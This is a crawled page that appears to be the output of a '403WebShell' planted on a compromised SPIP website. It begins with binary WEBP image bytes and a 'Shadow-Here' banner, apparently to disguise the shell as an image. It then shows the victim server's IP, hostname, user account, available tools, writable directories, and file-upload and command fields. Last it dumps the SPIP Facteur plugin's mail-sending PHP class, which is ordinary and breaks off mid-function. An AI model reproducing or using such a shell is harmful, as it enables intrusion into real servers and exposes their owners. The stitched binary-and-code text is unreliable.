....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/plugins/auto/facteur/v5.0.5/inc/Facteur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/www/plugins/auto/facteur/v5.0.5/inc/Facteur/FacteurMail.php
<?php

/**
 * Plugin Facteur 4
 * (c) 2009-2019 Collectif SPIP
 * Distribue sous licence GPL
 *
 * @package SPIP\Facteur\FacteurMail
 */

namespace SPIP\Facteur;

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

include_spip('inc/charsets');
include_spip('inc/texte');
include_spip('inc/filtres');
include_spip('facteur_fonctions');
include_spip('lib/PHPMailer-6/autoload');

class FacteurMail extends PHPMailer {
	/**
	 * From force si From pas dans le bon domaine
	 * @var string
	 */
	public $ForceFrom = '';

	/**
	 * FromName force si From pas dans le bon domaine
	 * @var string
	 */
	public $ForceFromName = '';

	/**
	 * Faut il embarquer dans le mail les images referencees ?
	 * @var bool
	 */
	protected $embedReferencedImages = false;

	/**
	 * Faut il convertir le message en Isotruc (obsolete ?)
	 * @var bool
	 */
	protected $convertMessageToIso8859 = false;

	/**
	 * Les URLs du site
	 * @var array
	 */
	protected $urlsBase = [];

	/**
	 * CC Auto a remettre quand on clear les recipients
	 * @var mixed|null
	 */
	protected $autoCc = null;

	/**
	 * Bcc Auto a remettre quand on clear les recipients
	 * @var mixed|null
	 */
	protected $autoBcc = null;

	/**
	 * @var bool
	 */
	protected $important = false;

	/**
	 * @var bool
	 */
	protected $isFinalTry = true;

	protected $sendFailFunction = null;

	protected static $logName = 'facteur';

	/**
	 * Wrapper de spip_log pour par PHPMailer
	 * @param $message
	 * @param $level
	 */
	public static function logDebug($message, $level) {
		$facteurClass = get_called_class();
		spip_log("$facteurClass: $level: " . trim($message), $facteurClass::$logName . _LOG_DEBUG);
	}

	/**
	 * Fonction de log interne aux Facteurs pour prefixer avec la class qui genere le log
	 * @param string|array $message
	 * @param null|int $level
	 */
	protected function log($message, $level = null) {
		$class = get_class($this);
		if (empty($level)) {
			$level = _LOG_INFO;
		}
		spip_log("$class: " . (is_scalar($message) ? $message : json_encode($message, true)), static::$logName . $level);
	}

	/**
	 * Facteur constructor.
	 * @param array $options
	 * @throws Exception
	 */
	public function __construct($options = []) {
		// par defaut on log rien car tres verbeux
		// on utilise facteur_log_debug qui filtre log SPIP en _LOG_DEBUG
		$this->SMTPDebug = 0;
		$this->Debugoutput = __NAMESPACE__ . '\FacteurMail::logDebug';
		// Il est possible d'avoir beaucoup plus de logs avec 2, 3 ou 4, ce qui logs les échanges complets avec le serveur
		// utiliser avec un define('_MAX_LOG',1000); car sinon on est limite a 100 lignes par hit et phpMailer est tres verbeux
		if (defined('_FACTEUR_DEBUG_SMTP')) {
			$this->SMTPDebug = _FACTEUR_DEBUG_SMTP;
		}
		$this->exceptions = false;
		if (!empty($options['exceptions'])) {
			$this->exceptions = ($options['exceptions'] ? true : false);
		}

		if (!empty($options['adresse_envoi_email'])) {
			$this->From = $options['adresse_envoi_email'];
		}

		// Si plusieurs emails dans le from, pas de Name !
		if (strpos($this->From, ',') === false) {
			if (!empty($options['adresse_envoi_nom'])) {
				$this->FromName = $options['adresse_envoi_nom'];
			}
		}

		// si forcer_from, on sauvegarde le From et FromName par defaut, qui seront utilises
		// si From n'est pas dans le meme domaine
		// (utiliser le facteur avec un service externe qui necessite la validation des domaines d'envoi)
		if (isset($options['forcer_from']) and ($options['forcer_from'] === 'oui' or $options['forcer_from'] === true)) {
			$this->ForceFrom = $this->From;
			$this->ForceFromName = $this->FromName;
		}

		$this->CharSet = 'utf-8';
		$this->Mailer = 'mail';

		// Retour des erreurs
		if (!empty($options['smtp_sender'])) {
			$this->Sender = $options['smtp_sender'];
			$this->AddCustomHeader('Errors-To: ' . $this->Sender);
		}

		// Destinataires en copie, seulement s'il n'y a pas de destinataire de test
		if (!defined('_TEST_EMAIL_DEST')) {
			if (!empty($options['cc'])) {
				$this->autoCc = $options['cc'];
				$this->AddCC($this->autoCc);
			}
			if (!empty($options['bcc'])) {
				$this->autoBcc = $options['bcc'];
				$this->AddBCC($this->autoBcc);
			}
		}

		if (!empty($options['filtre_images']) and $options['filtre_images']) {
			$this->embedReferencedImages = true;
		}

		if (!empty($options['filtre_iso_8859']) and $options['filtre_iso_8859']) {
			$this->convertMessageToIso8859 = true;
		}

		if (!empty($options['adresses_site'])) {
			$this->urlsBase = $options['adresses_site'];
		}
	}

	/**
	 * Auto-configuration du mailer si besoin
	 * (rien a faire ici dans le cas par defaut)
	 * @return bool
	 */
	public function configure() {
		return true;
	}

	/**
	 * Definir l'objet du mail
	 * @param $objet
	 * @param $charset
	 */
	public function setObjet($objet, $charset = null) {
		if (is_null($charset)) {
			$charset = $GLOBALS['meta']['charset'];
		}
		$this->Subject = unicode_to_utf_8(charset2unicode($objet, $charset));
	}

	/**
	 * Definir le ou les Destinataire(s) du mail
	 * clear tous les destinataires precedemment definis
	 *
	 * @param string | array $email
	 * @return int
	 *   nombre d'adresses valides
	 * @throws Exception
	 */
	public function setDest($email) {
		$this->clearAllRecipients();

		if (!is_array($email)) {
			$email = [$email];
		}

		$nb_dest = 0;
		//Pour un envoi multiple de mail, $email doit être un tableau avec les adresses.
		foreach ($email as $adresseMail) {
			if (!$this->AddAddress($adresseMail)) {
				$this->log("Erreur AddAddress $adresseMail : " . print_r($this->ErrorInfo, true), _LOG_ERREUR);
			}
			else {
				$nb_dest++;
			}
		}
		return $nb_dest;
	}

	/**
	 * Definir le message, en HTML et/ou en texte (si seulement un message texte fourni
	 * @param string|null $message_html
	 * @param string $message_texte
	 * @param string $charset
	 * @throws Exception
	 */
	public function setMessage($message_html, $message_texte = null, $charset = null) {
		if (is_null($charset)) {
			$charset = $GLOBALS['meta']['charset'];
		}

		// S'il y a un contenu HTML
		if (!empty($message_html)) {
			$message_html = unicode_to_utf_8(charset2unicode($message_html, $charset));

			$this->Body = $message_html;
			$this->IsHTML(true);
			if ($this->embedReferencedImages) {
				$this->embedReferencedImages();
			}

			$this->urlsToAbsUrls();
		}

		// S'il y a un contenu texte brut
		if (!empty($message_texte)) {
			$message_texte = unicode_to_utf_8(charset2unicode($message_texte, $charset));

			// Si pas de HTML on le remplace en tant que contenu principal
			if (!$this->Body) {
				$this->IsHTML(false);
				$this->Body = $message_texte;
			} // Sinon on met le texte brut en contenu alternatif
			else {
				$this->AltBody = $message_texte;
			}
		}
	}

	/**
	 * Set the important flag more or less supported by client mails
	 */
	public function setImportant($important = true) {
		if ($important) {
			$this->addCustomHeader('X-Priority', '1 (High)');
			$this->addCustomHeader('X-MSMail-Priority', 'High');
			$this->addCustomHeader('Importance', 'High');
		}
		$this->important = $important;
	}

	/**
	 * Indique si l'envoi est un dernier essai et que tout echec est definitif
	 * @param $isFinalTry
	 * @return void
	 */
	public function setIsFinalTry($isFinalTry) {
		$this->isFinalTry = $isFinalTry;
	}

	/**
	 * Indique si l'envoi est un dernier essai et que tout echec est definitif
	 * @return bool
	 */
	public function getIsFinalTry() {
		return $this->isFinalTry;
	}

	/**
	 * Set the fail function to call if an important mail was not sent
	 * @param $function
	 * @param $args
	 * @param $include
	 */
	public function setSendFailFunction($function, $args, $include) {
		$this->sendFailFunction = [
			'function' => $function,
			'args' => $args,
			'include' => $include,
		];
	}

	/**
	 * Generer le log informatif sur le mail qui va etre envoye
	 * @return string
	 */
	public function getMessageLog() {
		$this->forceFromIfNeeded();
		$header = $this->CreateHeader();
		$trace = trim($header) . "\n";

		// completer le header avec les infos essentielles qu'on veut dans les logs
		if (!empty($this->to) and strpos($trace, 'To:') === false) {
			$trace .= $this->addrAppend('To', $this->to);
		}
		if (!empty($this->cc) and strpos($trace, 'Cc:') === false) {
			$trace .= $this->addrAppend('Cc', $this->cc);
		}
		if (!empty($this->bcc) and strpos($trace, 'Bcc:') === false) {
			$trace .= $this->addrAppend('Bcc', $this->bcc);
		}
		if (strpos($trace, 'Subject:') === false) {
			$trace .= 'Subject: ' . $this->Subject . "\n";
		}

		$message_desc = [];
		if (!empty($this->Body)) {
			$message_desc[] = 'Body(' . strlen($this->Body) . 'c)';
		}
		if (!empty($this->AltBody)) {
			$message_desc[] = 'AltBody(' . strlen($this->AltBody) . 'c)';
		}
		if (!empty($this->attachment)) {
			$message_desc[] = 'Files(' . count($this->attachment) . ')';
		}
		$trace .= 'Message: ' . implode(' ', $message_desc) . "\n";


		return 'Sent by ' . get_class($this) . "\n" . rtrim($trace);
	}


	/**
	 * @param bool $exceptions
	 */
	public function setExceptions($exceptions) {
		$this->exceptions = ($exceptions ? true : false);
	}

	/**
	 * Transformer les urls des liens et des images en url absolues
	 * sans toucher aux images embarquees de la forme "cid:..."
	 *
	 * @param string|null $baseUrl
	 */
	protected function urlsToAbsUrls($baseUrl = null) {
		if (
			preg_match_all(
				',(<(a|link)[[:space:]]+[^<>]*href=["\']?)([^"\' ><[:space:]]+)([^<>]*>),imsS',
				$this->Body,
				$liens,
				PREG_SET_ORDER
			)
		) {
			foreach ($liens as $lien) {
				if (strncmp($lien[3], 'cid:', 4) !== 0) {
					$abs = url_absolue($lien[3], $baseUrl);
					if ($abs <> $lien[3] and !preg_match('/^#/', $lien[3])) {
						$this->Body = str_replace($lien[0], $lien[1] . $abs . $lien[4], $this->Body);
					}
				}
			}
		}
		if (
			preg_match_all(
				',(<(img|script)[[:space:]]+[^<>]*src=["\']?)([^"\' ><[:space:]]+)([^<>]*>),imsS',
				$this->Body,
				$liens,
				PREG_SET_ORDER
			)
		) {
			foreach ($liens as $lien) {
				if (strncmp($lien[3], 'cid:', 4) !== 0) {
					$abs = url_absolue($lien[3], $baseUrl);
					if ($abs <> $lien[3]) {
						$this->Body = str_replace($lien[0], $lien[1] . $abs . $lien[4], $this->Body);
					}
				}
			}
		}
	}

	/**
	 * Embed les images HTML dans l'email
	 * @throws Exception
	 */
	protected function embedReferencedImages() {
		$image_types = [
			'gif' => 'image/gif',
			'jpg' => 'image/jpeg',
			'jpeg' => 'image/jpeg',
			'jpe' => 'image/jpeg',
			'bmp' => 'image/bmp',
			'png' => 'image/png',
			'tif' => 'image/tiff',
			'tiff' => 'image/tiff',
			//'swf' => 'application/x-shockwave-flash' // on elever pour des raisons de securite et deprecie
		];

		$src_found = [];
		$images_embeded = [];
		if (
			preg_match_all(
				'/["\'](([^"\']+)\.(' . implode('|', array_keys($image_types)) . '))([?][^"\']+)?([#][^"\']+)?["\']/Uims',
				$this->Body,
				$images,
				PREG_SET_ORDER
			)
		) {
			$adresse_site = $GLOBALS['meta']['adresse_site'] . '/';
			foreach ($images as $im) {
				$im = array_pad($im, 6, null);
				$src_orig = $im[1] . $im[4] . $im[5];

				if (!isset($src_found[$src_orig])) { // deja remplace ? rien a faire (ie la meme image presente plusieurs fois)
					// examiner le src et voir si embedable
					$src = $im[1];
					foreach ($this->urlsBase as $base) {
						if ($src and strncmp($src, $base, strlen($base)) == 0) {
							$src = _DIR_RACINE . substr($src, strlen($base));
						}
					}

					if (
						$src
						and !preg_match(',^([a-z0-9]+:)?//,i', $src)
						and (
							file_exists($f = $src) // l'image a ete generee depuis le meme cote que l'envoi
							or (_DIR_RACINE and file_exists($f = _DIR_RACINE . $src)) // l'image a ete generee dans le public et on est dans le prive
							or (!_DIR_RACINE and file_exists($f = _DIR_RESTREINT . $src)) // l'image a ete generee dans le prive et on est dans le public
						)
					) {
						if (!isset($images_embeded[$f])) {
							$extension = strtolower($im[3]);
							$header_extension = $image_types[$extension];
							$cid = md5($f); // un id unique pour un meme fichier
							$images_embeded[$f] = $cid; // marquer l'image comme traitee, inutile d'y revenir
							$this->AddEmbeddedImage($f, $cid, basename($f), 'base64', $header_extension);
						}

						$this->Body = str_replace($src_orig, 'cid:' . $images_embeded[$f], $this->Body);
						$src_found[$src_orig] = $f;
					}
				}
			}
		}
	}


	/**
	 * Conversion safe d'un texte utf en isotruc
	 * @param string $text
	 * @param string $mode
	 * @return string
	 */
	protected function safeUtf8Decode($text, $mode = 'texte_brut') {
		if (!is_utf8($text)) {
			return ($text);
		}

		if (function_exists('iconv') && $mode == 'texte_brut') {
			$text = str_replace('’', "'", $text);
			$text = iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $text);
			return str_replace('&#8217;', "'", $text);
		} else {
			if ($mode == 'texte_brut') {
				$text = str_replace('’', "'", $text);
			}
			$text = unicode2charset(utf_8_to_unicode($text), 'iso-8859-1');
			return str_replace('&#8217;', "'", $text);
		}
	}

	/**
	 * Convertir tout le mail utf en isotruc
	 */
	protected function convertMessageFromUtf8ToIso8859() {
		$this->CharSet = 'iso-8859-1';
		$this->Body = str_ireplace('charset=utf-8', 'charset=iso-8859-1', $this->Body);
		$this->Body = $this->safeUtf8Decode($this->Body, 'html');
		$this->AltBody = $this->safeUtf8Decode($this->AltBody);
		$this->Subject = $this->safeUtf8Decode($this->Subject);
		$this->FromName = $this->safeUtf8Decode($this->FromName);
	}

	/**
	 * Forcer le from avant envoi si il n'est pas sur le bon domaine
	 * @throws Exception
	 */
	protected function forceFromIfNeeded() {
		if (
			$this->ForceFrom
			and $this->From !== $this->ForceFrom
		) {
			$forcedomain = explode('@', $this->ForceFrom);
			$forcedomain = end($forcedomain);
			$domain = explode('@', $this->From);
			$domain = end($domain);

			if ($domain !== $forcedomain) {
				// le From passe en ReplyTo
				$this->AddReplyTo($this->From, $this->FromName);
				// on force le From
				$this->From = $this->ForceFrom;
				$this->FromName = $this->ForceFromName;
			}
		}
	}

	/**
	 * Clear all recipients
	 */
	public function clearAllRecipients() {
		parent::clearAllRecipients();
		if (!empty($this->autoCc)) {
			$this->AddCC($this->autoCc);
		}
		if (!empty($this->autoBcc)) {
			$this->AddBCC($this->autoBcc);
		}
	}


	/**
	 * Verifier si il faut envoyer le mail d'alerte
	 * @param mixed $res
	 * @return mixed
	 */
	protected function sendAlertIfNeeded($res) {
		if ($res === false) {
			if ($this->important
				and $this->isFinalTry
				and !empty($this->sendFailFunction)) {
				$facteur_envoyer_alerte_fail = charger_fonction('facteur_envoyer_alerte_fail', 'inc');
				$facteur_envoyer_alerte_fail($this->sendFailFunction['function'], $this->sendFailFunction['args'], $this->sendFailFunction['include']);
			}
		}
		return $res;
	}

	/**
	 * Une fonction wrapper pour appeler une methode de phpMailer
	 * en recuperant l'erreur eventuelle, en la loguant via SPIP et en lancant une exception si demandee
	 * @param string $function
	 * @param array $args
	 * @return bool
	 * @throws phpmailerException
	 */
	protected function callWrapper($function, $args) {
		$exceptions = $this->exceptions;
		$this->exceptions = true;
		try {
			$retour = call_user_func_array($function, $args);
			$this->exceptions = $exceptions;
		} catch (Exception $exc) {
			$this->log((is_array($function) ? implode('::', $function) : $function) . '() : ' . $exc->getMessage(), _LOG_ERREUR);
